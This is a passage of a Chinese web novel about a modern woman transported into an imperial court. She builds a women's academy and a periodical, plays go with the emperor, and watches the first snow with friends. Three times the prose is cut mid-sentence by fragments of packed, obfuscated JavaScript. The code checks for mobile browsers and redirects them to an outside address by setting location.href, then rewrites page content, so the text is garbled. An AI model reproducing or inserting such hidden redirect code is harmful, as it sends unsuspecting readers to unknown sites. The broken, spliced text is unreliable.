“睡得挺香啊,太子殿下。”她嗤笑着睨他一眼,“这两天辛苦了。” 赵煜撅着嘴,拍了拍袖子,没好气地说道:“郡主都发话了,可不得吭哧吭哧地干?” 说着,他似是想到了什么,眼睛倏地一亮,猛地抓住叶斯年的手:“漫画!你刚刚说漫画了!” 叶斯年被他突如其来的举动吓了一跳,挣了挣手腕,没挣脱,皱眉道:“漫画怎么了?” “你看漫画吗?你看动画片吗?”赵煜双眼放光。 “看啊,怎么了?” 赵煜深吸一口气:“《火影》!《火影忍者》!完结了吗?!” 50.问津 赵煜眼巴巴地盯着叶斯年,满脸期待:“你快给我讲讲,飞段死了没?” 叶斯年抱着手炉,懒洋洋地瞥了他一眼,心里暗自发笑。这人可是2008年来的,那时候《疾风传》才刚开播,剧情且有得聊。 她慢悠悠地说道:“我可看了不止一遍,简直倒背如流。” 赵煜瞬间眼睛一亮,身子又靠近了几分:“那你快讲讲!” 叶斯年偏不遂他的意,悠然地靠在小桌上,语气拉得老长:“唉……可是现在吧,可能是心情不太好,一下子……想不起来了。” 赵煜惊得坐直:“你怎么能忘呢?!你这么聪明!这么好看!这么善良!” 叶斯年瞥了他一眼,眼底难得浮现出一丝促狭的笑意,赵煜急得像热锅上的蚂蚁,满脸写满“你怎么忍心”的哀怨。 她很久没有这样被逗乐过了,竟然觉得有趣。 赵煜顿时更着急了:“你别光笑啊!快说啊!” 叶斯年挑了挑眉,故作思索地说道:“这样吧……你好好处理学堂和刊物的事,表现得好——我就给你讲一段。” 赵煜立刻来了精神,眼里像是燃起了希望:“真的?!” 她点点头,眼神里带着些许玩味。 赵煜瞬间正襟危坐,拍着胸口保证:“保证完成任务!” 次日,长公主府的偏厅内,暖炉烧得正旺,屋中众人也是一番针锋相对的热议。 “女子学堂的第一批学员,该如何挑选?”长公主率先开口,目光在众人间扫过。 韩婉道:“恐怕还是得从那些最近向两位殿下示好的官员家眷中选。我捋了一下名单,不过二十人。” 赵煜倚在椅背上,漫不经心地说道:“难道这学堂只向士族女子开放?” 韩婉瞥他一眼,带着几分不耐:“学堂初立,从这些人入手,有什么问题?” 两人话锋一触即燃,赵玥皱了皱眉:“你俩要是还这么吵,不如出去打一架。” 两人皆扭过头,不再搭理对方。叶斯年与赵玥对视一眼,皆是无奈失笑。 这两人一见面就掐。韩婉嘴上说自己早已与赵渊断了关系,可心底终究还是耿耿于怀,怨他为了保赵煜而牺牲自己的名声。那点复杂的情绪无处宣泄,最后全落在赵煜身上。也正是为了撇清赵渊的干系,她才熬了几个大夜整理玄月司案件的文书,正好合了官家的心意,才让官家再度提起让她入翰林院。 赵煜起初毫不知情,如今知道了缘由,竟然一门心思想当和事佬,试图撮合兄嫂和解,结果可想而知——简直是火上浇油。 叶瑾年察觉气氛不对,赶紧接话:“我也觉得要先从士族女子入手!” “朝中大臣或许心存疑虑,但官家对女子入仕的态度目前尚算积极。他们不可能不为自家前途考虑。即便家中设有私塾,与两位殿下支持的学堂相比,资源和人脉的差距显而易见。更何况,学堂不仅是授业解惑之地,更是他们女儿未来踏入仕途、结交人脉的起点。” “说得不错。”赵玥微微颔首,目光落在案上的名单,“官家既然有此意向,即便他们不接受,也不会错过布局的机会。第一批学员,可从相对开明的官员家族中选拔。” “学堂成立之后,真正能推动变革的,仍是舆论。”叶斯年看向赵煜,“云卿已答应连载绘卷,预计能吸引不少目光。接下来,我们要在刊物上刊登女子学堂的事,同时邀请正反两派的官员撰文讨论,形成更大的影响力。” “刊物的事由思醴安排,维持中立的立场。” 思醴点头:“我手上有几个假身份能用。前阵子入手的花月阁已转手换了几处宅院,城东城西都有,正好用作书局和印坊。这些事月底前都能办妥。现在关键是——书局与刊物该起什么名字?” 众人一番议论,最终敲定书局名为“问津书局”,取“探寻真理”之意。而大沅朝第一份半月刊则定名为《求索》,意指“上下求索”。 至于刊物前期的内容,除了苏云卿正在筹备的绘卷,叶斯年向众人讲述了一个名为《镜花缘》的故事。众人从未听闻,皆露出惊讶之色。 思醴果断拍板:“这个故事好!我这就去找写手,跟绘卷一样,连载刊登,一定能大卖!” 赵玥领着众人进入下一个议题——韩婉是否入朝。 赵煜率先开口:“如今朝中缺口极大,官家已经两次开口想让韩婉入朝,但其中阻力你们也清楚。我觉得不能操之过急。官家之前让她听召入宫,其实就是不想让她公然上朝。” “所以,太子殿下的意思,是不让我入朝?”韩婉语气平静,眸色微冷。 赵煜眉毛一挑:“我可没这么说。” “你话里话外不就是这个意思?”韩婉轻嗤,“不过太子殿下一向保守,这倒也不奇怪。” 赵煜顿时不乐意了:“我能有你保守?你简直比翰林院那群老学究还轴!赵渊不过是拦下几个侍妾,这事我们俩都跟你解释八百回了,你至于这么揪着不放吗?” 韩婉脸色微变,冷笑道:“不过几个侍妾?既然无关紧要,你怎么不往东宫塞?偌大的东宫,倒是一个女人都没有。” 赵煜自知理亏,一时语塞。那些人本就是冲着他来的,若非赵渊假作风流将人拦下,恐怕他也拦不住。 “可他不也都处理得妥妥当当?该遣散的遣散,该安置的安置,又不是真的流连花丛。你怎么就这么钻牛角尖呢?”他皱了皱眉,仍是不服气地反驳。 两人你一言我一语,话里带刺,针锋相对,席间气氛陡然紧绷。 叶斯年撑着下巴,饶有兴趣地看了一会儿这场剑拔弩张的对峙,叹了口气,懒懒地开口:“行了,别吵了。” 两人各自冷哼一声,终于悻悻闭嘴。 赵玥端起茶盏,慢条斯理地吹了吹浮沫:“靖安殿的人没到,你俩倒是开口闭口都离不开他。” 叶斯年也接口:“要不你们仨干脆一起过得了?” 思醴眼睛一亮,兴奋地拍了拍桌案:“这故事不错!我再去找个写手写成话本!” 话音未落,她突然“嗷”地一声惨叫,猛地缩回手臂——韩婉神色淡然地松开了手。 赵玥漫不经心地说道:“魏老听闻官家曾想让韩婉入翰林院,差点气得犯病。” 她语气不善,毫不掩饰自己的不屑:“这群老学究,现在全被苏仆射拉着站到了赵渊那边。” 赵煜转头对叶斯年说道:“赵渊的母亲是苏贵妃,也就是苏仆射的妹妹。” “原来是这样,怪不得之前他们都想让云卿做太子妃……你们的关系还真是够复杂的。” 赵煜脸色一僵,几人都默默看着他。他忍不住扶额叹了口气:“怎么又提这茬……” 赵玥接着说:“赵渊从前就不是真的与太子对立,现在也不过是被人架着。可说到底,他究竟在盘算什么?我是真搞不明白我这侄儿的心思。”她目光一转,看向韩婉,“婉儿,你可知道?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990074|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 韩婉冷冷开口:“他?一切为了社稷呗。若他认定此事有碍江山稳固,保不齐能杀了我。” 这话一出,屋内一时无人开口。 叶斯年看了赵煜一眼,一时不知该如何接话。 赵煜叹了口气:“那我可得为二哥喊冤了。他就是把自己杀了,也不会动你一根头发丝。” 赵玥皱眉道:“行了,都是江山社稷的大事,扯什么儿女情长。” 她目光一扫,先后落在赵煜和韩婉身上:“你,赵煜,还有你,韩婉,都把心思收一收,别坏了大事。” 赵煜不服气地指着叶斯年:“你怎么不说她?” 赵玥闻言,唇角微微一勾,目光带着几分戏谑:“郡主的心,可不在你身上。” 赵煜:“……”他都快哭了。 叶斯年却大笑着端起茶盏,与赵玥轻轻一碰,两人畅快的笑声回荡在厅内。 次日,长公主以政务繁忙为由,向官家请准,让韩婉以参议政务的身份进入参知政务院,作为她的副手,平日无需上朝。此举暂时避开了朝臣的正面冲击。 然而,众人皆知,这一机构终究只是权宜之计,待朝局稳定,势必会被裁撤。因此,在此之前,他们必须尽快完成一系列布局。 叶斯年提出自己的看法。她直言,韩婉若仅停留于临时机构,虽能积累经验,却始终局限于长公主的幕僚身份,难以真正奠定女性入仕的先例。她希望韩婉能进入司法体系,以更具公信力的身份立足朝堂。众人皆认可这一布局。 与此同时,赵渊已了结长安府事务,回京述职,并卸下长安府尹一职。朝廷随即决定,由户部尚书徐霖调任长安府,接掌府尹一职,以平衡地方权力格局。 张澄,字文泽,科举出身,曾任大理寺丞,后因治政有方,被调入户部,历任郎中、侍郎,最终升任户部尚书,在财政调度、地方治理方面皆有卓越建树。虽不刻意站队,却在朝堂内外声望不低,深得官家信任。 长安府一直沿袭州一级建制,苏廷章就曾任知州一职。此前赵渊上任,因其皇子身份才破格担任府尹,而此次徐霖履职,官家特旨将“知州”正式改为“府尹”,此举无疑是对长安府行政地位的全面提升,进一步稳固其作为陪都的权柄。 这一变动,隐隐透露出官家的深思熟虑——长安,将在接下来的风云变幻中,扮演更加重要的角色。 宁安王府内,灯火通明,案上铺开几幅画稿,叶斯年正伏案细细推敲着故事的构架。这几日,她与苏云卿书信往来,探讨着如何让故事更具张力,既能吸引目光,又能隐晦传递理念。 苏云卿在画稿中设计了一只会说话的八哥,倒是别具一格,但她总觉得这形象过于严肃,难以调和故事氛围。叶斯年正提笔写道:“你可以让它翻个白眼。” 她刚觉有趣,外头忽然传来一阵急促的脚步声。 “郡主。”青枝匆匆推门而入,“宫里的公公送来了一封信。” 青枝将信笺呈上,压低声音道:“来人出示了宫中令牌,交予信件后便匆匆离去。” “今夜三更,玉兰苑一叙。不得声张。” 没有落款,没有印章,亦无其他可辨识身份的标记。 她第一时间想到皇后。 可转念一想,那日乘热气球飞走的大司命还杳无音讯……她心底顿生一丝警惕。 她不敢轻举妄动,最终还是带着信去了叶绍处。 “这是永庆公公的笔迹。” 51.棋局 夜色沉沉,寒霜渐重。叶斯年换上一身素净的衣饰,只带了青枝同行。 叶绍叮嘱了许多面圣的礼仪。官家深夜出访,侍卫亲军司的人马必然已在暗处布防,将整个皇家园林层层围住。既然官家要求不可声张,叶绍也只能假装不知情,连派人暗中护送都会被视作僭越之举。临行前,他仍在府门前来回踱步,反复叮嘱:“见了官家,务必恭谨,不可逾矩。” 夜风凛冽,苑中幽静无声,连守夜的宫人都未曾见到。青枝亦被拦在门外,不得进入。叶斯年深知,四周的暗影里,定有无数双眼睛在窥伺着她的一举一动。 枯枝横生的玉兰树,在月光下投下一片凌乱的影子。她循着微弱的灯火穿过蜿蜒的回廊,推开沉重的木门,烛火摇曳,映出室内两道身影。 案上摆着一副陈旧的棋盘,一旁炉火烧得正旺,偶尔发出轻微的爆响。赵义的目光落在火焰之上,眼底不见波澜。 皇后抬眼望向叶斯年,神色淡漠,如一潭无风的深水,既无温度,也无情绪。她端坐在一旁,仪态仍旧端庄,但比起初见时的雍容华贵要黯淡许多。 永庆公公远远候立,低着头,藏于阴影之中,安静得像是一尊木雕。 叶斯年屏息,依礼伏身施长揖,语声平稳:“臣女叶斯年,叩见官家,皇后娘娘,愿圣躬康健。” 赵义的目光淡淡掠过她的身影,抬手示意:“免礼,坐吧。” 叶斯年依言落座,心神如紧绷的弦。 赵义拨弄着棋子,目光落在棋盘之上:“会下棋吗?” 叶斯年看着檀木棋盘上细密的龟裂纹:“略知一二。” 赵义执黑子落于星位,随手指了指棋盘。室内静谧无声,唯有棋子落盘的清脆声回荡。二人凝神对弈,天色不知不觉染上一抹微光。 赵义行棋极快,步步紧逼,攻势凌厉,数次打入白棋腹地,招招皆是逼杀,处处封锁白棋生路。叶斯年却不与他正面交锋,而是隐忍布势,顺势腾挪,悄然铺陈外势,四隅隐隐形成牢固的势力圈。 赵义再落一子:“很久没这么畅快了。日后若有闲暇,不妨常来陪朕下棋。” 叶斯年俯身应道:“蒙陛下垂询,臣女自当竭力。” 赵义意味不明地看了她一眼:“朕听闻,你在这短短时日里,已办了不少大事。” 叶斯年端正坐姿:“臣女不过竭尽所能,为殿下分忧。” “你来了以后,长公主和太子倒是开始大展身手了。”他神色晦暗莫测,目光仍落在局势之上,“朕实在有些好奇。” 说话间,他拈起棋盘上的一枚白子:“这一子,倒是妙手。” 棋局早已落定,而这枚白子,正是方才叶斯年暗藏的胜负手。 赵义步步紧逼,黑棋如大军围剿,迅猛扩张,看似占据绝对上风,白期却并未被逼入绝境——她借黑棋的攻势做掩护,逐步渗透外围,铺陈大势,看似退让,实则悄然构筑了一座不易察觉的屏障。 当这枚白子落下,棋盘的局势彻底逆转——赵义的黑棋四面受制,几乎无路可退。 赵义将手中的白子落回棋盘:“你赢了。” 叶斯年心头猛然一沉。她赢了吗? 她谋定而动,小心翼翼步步为营,以最克制的方式行棋,生怕露出破绽,直到此刻才惊觉——这盘棋,远不止眼前这一局。 一旁的皇后终于抬眼看了她一瞬,眸中掠过一丝微不可察的诧异,却只是一瞬,随即又垂下眼睫,将自己沉默地隐入夜色之中。 叶斯年蓦然生出一种荒谬的认知—— 人一旦坐上那个位置,便不再是人了。 率土之滨,莫非王臣。 封建帝王,是至高无上的象征,是权力的化身,是冷漠而理智的神祇。他的眼中,天下苍生不过是黑白棋子,规则由他制定,而他可以随时掀翻棋盘。 东华郡主,是他一时兴起所赐。那东华之命,是否也是他随手落下的棋子? 胜负已分,她却骤然惊出一身冷汗——原来这盘棋,定的是她的生死。 她死死攥紧掌心的衣料,强自稳住心神。她几乎用尽全部意志,才克制住本能的战栗,不让膝盖弯曲,不让自己去跪拜这尊俯瞰人世的神祇。 赵义轻轻弹了弹衣袖:“学堂、刊物,朕都不会阻你。朕也想看看,你究竟能翻起多大的浪花。” 他目光淡然地扫过她:“但有一个条件。” 叶斯年屏息静待。 “你,不能参政。” 烛火明灭不定,光影跳跃间,皇后的神色晦暗不明。 叶斯年垂首应声:“臣女才学浅薄,不敢妄议朝政。” 赵义颔首:“如此,便好。” 赵义拂去棋盘上的残子。叶斯年正要伸手帮忙,却见他摆了摆手。他将棋子一枚一枚地收回棋盒,摩挲着棋盘边缘,那处木纹已被长年累月地磨得光滑。 收拾妥当后,他顿了顿,似是随意地说道:“若是见着我哥哥,替我转告——宫中棋局未定,我一直在等他回来落子。” 赵义离去,叶斯年几乎瘫软在地。 马车的声音远去,四周寂静得仿佛能听见寒气渗入肌骨的声音。青枝几乎是冲进庭院,将她半扶半搀地带回马车,两人的手心全是冷汗。 宁安王府一夜未眠。 叶斯年简单讲述了这场深夜召见,屋内陷入久久的沉默。 周苓道:“赵诘当年到底和官家说了什么?” 所幸,终究是有惊无险。眼下之事暂且能够顺利推展,赵义既已言明不会阻拦,一切便看他们如何运作。然而,那局棋却让叶斯年深刻意识到皇权的绝对威势——她想要推动男女平权,想要以法制限制皇权,这条路只会比昨夜的棋局更加险象环生。 她合眼小憩片刻,却怎么也无法入眠,索性披上外袍,唤上青枝与瑾年,再次前往灵隐寺。 自青阳县归来后,宁安王府曾多次遣人探访灵隐寺,皆得到相同的答复——不执方丈已云游四方,不知所踪。 可叶斯年心中始终存有不安,今日便索性亲自走一趟。 初冬的寒意渐浓,然灵隐寺香火依旧鼎盛。行至山门下,瑾年忽然停步:“阿姐,韩婉。” 叶斯年抬头,果然见寺前静立着一道熟悉的身影。叶斯年对她曾提及的“青冥堂”一事始终未曾放下,如今见她独自出现在此处,更觉其中蹊跷。她正欲示意众人不必声张,便听瑾年又道:“还有一人……” 叶斯年顺着她的视线望去,眉心微微一跳。 苏廷章。 “有趣。你说,他们今日齐聚于此,真是巧合?” 瑾年举起窥远镜仔细打量片刻:“看样子,都在找人。” 叶斯年踏上石阶:“既然如此,那便一起吧。” 韩婉与苏廷章皆未料到她会在此出现,脸上皆闪过一丝讶色。 “两位好兴致,相邀至此,不知是求什么签?” 苏廷章仍是温文尔雅:“郡主莫要误会,我今日来寺中,是为寻不执方丈。未曾想方丈已云游,不知所踪。” “苏大人也是为方丈而来?”韩婉意味深长地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994910|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,“这倒是巧了。” “那还真够巧的。我也是。” 三人对视,目光交错,似有无形的探测与试探。 “寺中僧人只道方丈云游,却未言去向,硬闯,倒也不合适。” 正此时,一名小沙弥从廊下快步走来,稚嫩而恭敬地行了一礼。 “阿弥陀佛,小僧参见郡主。” 叶斯年定睛一看,竟是她初次造访灵隐寺时遇见的那名小沙弥。 小沙弥从袖中取出一封信,双手递上:“方丈云游前留下一封书信,言道唯有郡主亲至,方可呈上。” 叶斯年接过信笺,急忙拆开书信,信上仅寥寥数语—— 余幼时,寺中一癞头僧人授我东华之谶,言道:“业海浮沤,因缘具足。”彼时未悟,而今方知——谶言非天授,实是业镜倒映,诸行无常,一念不昧,便成定数。 今尘劫再至,老衲风烛残身,当效达摩面壁,不愿再为浮世添一笔墨,郡主莫再寻。 圣恩如潮,潮涨汹涌,潮落无痕。予者能施,亦能夺。身在局中,若自囿为棋,焉能望执棋者垂怜?若欲破局,唯有执子落棋,自成方圆。 昔年癞头僧以贝叶传偈,时有优昙婆罗落于经案,其叶生九苞。愿郡主作狮子吼,众生皆具如来藏,何分男女相? ——不执 “方丈怎么说?”韩婉率先开口。 叶斯年沉吟片刻,缓缓道:“他说,‘业海浮沤,因缘具足’。” “这又是什么意思?”瑾年皱眉,“方丈怎么总说些云里雾里的话?” 苏廷章听罢,若有所思:“宿命之言,我一向不信。但青冥堂消息灵通,所以我才一直与他们保持联系。只是这次,他们竟未告知我湖心岛之事,还是长公主殿下知会,我才能赶到。我也是最近也才查到,山门谶语是从灵隐寺流出的。” 韩婉挑眉:“巧了,我也是最近才查到此事。” “你们怕不是跟着我的线索查来的吧?”瑾年抱臂,眉头一竖,语气里满是怀疑。 她自从去了叶家军营的夜不收后,叶绍便私下给她组建了一支队伍,协助叶斯年,首要任务便是探查玄月司大司命与失踪的不执方丈。结果韩婉与苏廷章竟然不约而同直接盯上了她的行踪? “看来我以后出门可得好好乔装打扮一番了!”她冲着两人嘟囔着。 苏廷章忙不迭地摆手:“二娘子息怒,我不是故意跟着你的!我是发现韩娘子鬼鬼祟祟盯着你,才……” “……”韩婉眯起眼睛,目光如刀般扫向苏廷章。 苏廷章顿时噤声,轻咳一声,把目光移向别处。 叶斯年未曾理会他们的争执。她立于寺门前,檐角氤氲的香火袅袅升腾,在这方天地间织就了一道无形的结界。 她不信宿命。世间若真有天命,又怎会将她从另一个世界抛掷至此?可她不得不承认,不执的那番话,再次击中了她。 然而这一次,她却未觉被人操控。因为那正是她心中所想。 皇恩如潮,涨落无定。若女子入仕仅凭皇恩垂怜,那一旦朝局更迭,所有努力便会如沙上筑塔,瞬息倾覆。 昨夜,她尚在怀疑,山门谶语是否不过是官家随手落下的一子,但此刻,这个问题已不再重要。无论是谁设局,既然她执意前行,便该亲手落子,去创造自己的规则。 “做你想做的事,你就一直是你。”赵煜那句话似一缕清风拂过。 无论当权者如何谋划,无论那些穿越者有何算计,她始终在走自己的路,如此便好。 52.初雪 叶斯年一直念叨着瑶京初雪。 这几日,司天监被太子殿下催问得寝食难安,日夜观测天象,终于在今晨急急上奏:“今日初雪。”官员们思来想去,也只能归因于未来太子妃。 于是,天刚蒙蒙亮,赵煜便驾临宁安王府。 瑾年死活要跟着,赵煜实在拿她没办法,觉得她活像个甩不掉的尾巴,叶斯年却乐得带上她。无奈之下,他索性带上了卫珩,要求“务必把她带走” 。卫珩能有这本事才怪,最终四人一同前往近郊的青崖山,迎接瑶京的初雪。 青崖山属皇家园林,山顶有一处闲置的院落,向来人迹罕至,亦无护卫驻守。 未至山顶,远处的山头已覆上一层素白。云雾氤氲,天地无声。 “好久没见着雪了,真干净。”她轻叹一句。 赵煜偏过头看她,见她眼底透着满足的笑意,心生欢喜。 身后瑾年与卫珩一路叽叽喳喳,赵煜怀疑卫珩一整年都没说过这么多话。 “卫护卫,你知道为什么会下雪吗?”瑾年问。 卫珩摇头。 “回答我。” “不知道。” “不知道你不会问我吗?” “为什么会下雪?” “……”赵煜翻了个白眼,实在受不了,“堂堂太子中舍人,来去无踪的暗夜刺客......” “殿下!”卫珩蹭地窜到了赵煜跟前,“您小点声,给她听见了,能说上一整路。” 几人正吵吵闹闹地往山顶走,忽然身后传来一阵喧哗。 回头一看,竟是思醴、明煊和韩婉也来了。 明煊的祖父近日被官家任命为“知枢密院事”,似是要在朝堂上制衡叶太尉。而杨家军也重新整编,如今杨家能独当一面的人仅她一人。这些日子她在军中忙得脚不沾地,已有许久未见姐妹们了。 思醴远远扬声笑道:“王府的家丁说你们上了青崖山,怎的不叫上我们一道,未免太不够意思了!” 明煊拎着酒壶:“听闻殿下苦等初雪多日,今日总算心愿得偿?” 赵煜站在叶斯年身后,低声嘀咕:“两个电灯泡就够烦了,怎么来了一串。” 走近一看,思醴正披着一条熟悉的披肩——赫然是“郡主同款”。 瑶京入冬后,赵煜特意寻了北方上好的羊毛,又亲自改良了织造工艺,找匠人精制了一条披肩送给叶斯年。披肩柔软保暖,式样别致,原本只是献殷勤,不料竟意外引领了京中风潮。 思醴向来眼光毒辣,消息灵通,没多久便把那匠人挖了过来,大肆翻制,又再加以改良,推陈出新。一番运作之下,这披肩不仅成为了瑶京贵女争相仿效的时尚,更是在商贾圈中流行开来。她借着“郡主同款”的噱头,狠狠赚了一笔,还大方送了叶斯年几款最新制出的样式。 叶斯年捏了捏思醴身上的披肩:“你倒是做得比原款还讲究。”话音刚落,一股熟悉的既视感掠过心头。 思醴得意道:“做生意嘛,怎能止步不前?” 赵煜瞥了一眼,脸色顿时黑了几分。 一行人刚踏到山顶,纷飞的雪花便翩然而至,顷刻间天地白茫茫一片。院落门口竟已有两人候着。 “二位佳人怎的也来了?” 苏云卿挽住叶斯年的手臂:“哥哥说殿下今日定是要带郡主来山顶,想着平日里难得相见,便带着我一同来了。” 苏云卿素来被苏仆射管束,平日里便是画卷书信,也要苏廷章悄悄传递。今日能顺利出门,恐怕也是苏廷章早有安排。 思醴环视四周:“倒是难得热闹。” 瑾年望向远处半山腰:“还有一位呢。” 韩婉冷哼一声,径直走进院中。 叶斯年顺着瑾年的目光看去,见那缓步而来的身影,不由皱眉:“怎么他也来了?” 赵煜嗤笑:“他前阵子刚回京述职,如今不过是个闲散皇子。最近围着韩婉转,看样子是没进展。” 叶斯年偏头看他:“那他打算如何?” 赵煜一脸理所当然:“还能如何?继续追呗。” “我说的是夺嫡,你别性缘脑。” “……”赵煜沉默两息,叹道:“这我怎么知道?他城府深得很。” 赵渊的到来也算不得不速之客。众人心知肚明,他虽手段狠辣,却也坦荡赤诚。反倒是韩婉见他来了,默不作声地缩到叶斯年与赵煜中间,活像只炸了毛的猫,惹得赵煜满脸不耐。 山顶亭中,炉火正旺,众人围坐其间。瑾年兴冲冲地拉着卫珩去枝头扫下了一盆新雪,嚷嚷着要煎茶。 卫珩背了一路的包裹里塞满了果脯蜜饯,还有赵煜特意为叶斯年备下的年糕,将这些零零碎碎地放到炭炉上烘烤,甜香渐渐弥漫开来。 明煊带来的酒不够分了,叶斯年神秘兮兮地往壶里添了些新雪,又挤了点果汁进去。思醴眼睛一亮,立刻摩拳擦掌地接了过去:“烈酒成果子露了?有点意思!” 火光映照下,酒气氤氲,众人谈天说地,话题自然而然地落到了最近风头无两的求索丛刊和问津书局。 “半目山人的绘卷,你们都看了吗?”明煊撑着下巴。 苏云卿端着茶盏,神色难得有几分得意:“你也看了?” “那当然。”明煊轻笑,“我阿爷都看了,赞不绝口。” “那下一期呢?”瑾年一双眼睛亮晶晶,凑上前去,一脸期待。 “不可说。”云卿慢悠悠地饮了口茶,神色淡定自若。 瑾年眨眨眼:“不过就是一个女商客和一只翻白眼的八哥,有什么好藏着掖着的?” “哦?”明煊愣了一瞬,旋即反应过来,“原来半目山人就是云卿?” 思醴直摇头:“幸好我反应够快,雕版师傅和书局写手全都保护起来了。你们这些权贵,找不到半目山人,就盯着印坊的雕版师傅下手……” “这可是云卿和郡主反复打磨、修订了十几遍的故事,范东家可得多上点心。”苏廷章一边说着,一边往炉中添了些柴火,“以往的画本,多载于屏风、长卷,故事连贯性弱,阅读门槛高,难成风气。此番《鹆行江湖》在半月刊上分回连载,若能行得通,兴许能开创一门新的学问。” “可不是么?”韩婉悠然地靠在叶斯年身上,剥着橘子,笑吟吟地接话,“还得亏苏公子忙前忙后,费尽周折才拿下刊号。若没有这半月刊,哪来的连载绘卷?” “婉儿,他是礼部侍郎苏大人。”原本一言不发的赵渊忽然开口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998858|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵渊向来冷峻,语气稍一压低,就带着股令人头皮发麻的煞气。 韩婉头也不抬,慢悠悠地捏起一瓣橘子送入口中:“在下参知政务,韩婉。” 叶斯年强忍着没想出声。 “太厉害了。”明煊由衷感叹,眼中带着几分艳羡,“你们最近动静可真不小。我在军营忙得脚不沾地,竟被你们落下了这么多。” “你才厉害呢,杨家女将!”叶斯年朝她竖起大拇指,“我们家花梧起步比你早,还不是被你迎头赶上了。” 明煊摆摆手:“郡主莫要取笑,若不是阿梧珠玉在前,还有青枝打头阵,我这将领的位子可没那么容易坐稳。” 瑾年仍不死心,笑眯眯地靠近云卿:“你到底说不说?” 云卿摇了摇头,抿唇一笑:“你平日不是最聪明的吗?怎的看了一期,还猜不出后续?” “啧。”瑾年恨得牙痒,直接伸手去挠她的痒痒。 云卿没料到她出手如此之快,惊呼一声,直往叶斯年的怀里缩去。 酒过三巡,话题自然而然地转向女子书院。 “听说书院的牌匾已经定下了?”苏廷章望向叶斯年。 叶斯年颔首:“观澜书院,后日便是开学典礼,能来的都来啊。” “好名字。”苏廷章意味深长地说道,“观水有术,必观其澜。” 叶斯年闻言,心底泛起一丝异样的波澜。 先前,思醴才提及“叶公好龙”的典故——叶公乃春秋时期的楚国人。如今,苏廷章又清晰地指出,“观澜”二字源自孟子之言,而孟子生于战国。 这世界的先秦文化,难道与地球文明本是一体? 叶斯年蓦地感到一阵寒意,从脊背直窜上头皮,鸡皮疙瘩瞬间爬满手臂。这个问题,非得与赵煜好好探讨一番不可。 思醴笑意盈盈:“苏大人可知,观澜书院的规矩,可不比崇文书院和国子监少。” 叶斯年听着众人的笑声,方才回过神。这书院的规矩,是她亲手一条条梳理出来的。为此,她和长公主不知争执了多少回,最后才勉强定下如今的章程。 “总得有个章法。不然,那些权贵家的娘子想来就来,想走就走。” 赵煜放下酒杯:“还得是你,饥饿营销玩得一绝!” 思醴适时地给苏廷章添了一杯酒:“苏大人对观澜书院有何看法?不如写篇文章,稿费好说。” 苏廷章依旧温文尔雅,举杯淡笑,并无推辞之意:“听闻翰林院的魏大学士已准备写文驳斥,既如此,我作为礼部侍郎,总要回上一篇才成。” 韩婉听得不耐,猛地一拍桌子,直起身子笑道:“原说是来看雪的,怎的又絮絮叨叨起来?难不成这满园清雪,也比不得你们的政务生意有趣?罢罢罢,酒更要紧,吃酒吃酒!” 众人举杯,雪色皎然,瑶京的冬天,终是来了。 天色渐晚,众人扫净了院中的积雪,准备下山。赵渊与赵煜低声商量着,让众人分头而行,从园林的不同方位出去。毕竟,如今明面上赵渊与苏家立场相合,而赵煜他们则是另一方,同行未免惹人疑窦。 云卿却忽然挽上韩婉的手臂,笑吟吟道:“婉儿,你陪陪我吧,他们两个男人好生无趣。” 53.营销 蜿蜒的山路上覆着一层薄薄的积雪,踩上去有些打滑。叶斯年一行人沿着来时的路缓缓下山,前头的思醴兴致勃勃地拉着众人疾行,像一群撒欢的兔子,没一会儿便把他们甩得老远。她与赵煜落在最后,正合了赵煜的意。 “一把年纪了,比不得小年轻啊。”叶斯年半是感叹,半是调侃。 赵煜侧头睨了她一眼:“你现在也是十六七的姑娘,自己懒就直说。打架的时候怎么不嫌自己年纪大?” 叶斯年抬脚踢了踢他的靴子,懒得与他争辩,话锋一转:“聊点正事。” 赵煜顺手扶她下了一个台阶:“说吧。” “你历史怎么样?” “你问以前,还是现在?” “都。” “都一般。”赵煜答得毫不犹豫。 叶斯年白了他一眼,嫌弃地说:“行吧,那我就直说了。‘观澜’是我取的名字,出自孟子——‘观水有术,必观其澜’。苏廷章怎么知道?还有先前的‘叶公好龙’,这些都是春秋战国时期的人物,这难道不奇怪吗?” 赵煜听完,却并不意外:“确实有些地方相似,但我历史一向马马虎虎,没怎么在意。我只知道这里也有始皇帝,但具体是不是跟我们的历史一样,我还真说不上来。” 叶斯年语气压低了些:“焚书坑儒,总知道吧?” 赵煜的反应明显比刚才激烈得多,像是突然被点醒一般:“就是这个!我就说怎么有个知识点老是想不起来——这里,没有焚书坑儒!” 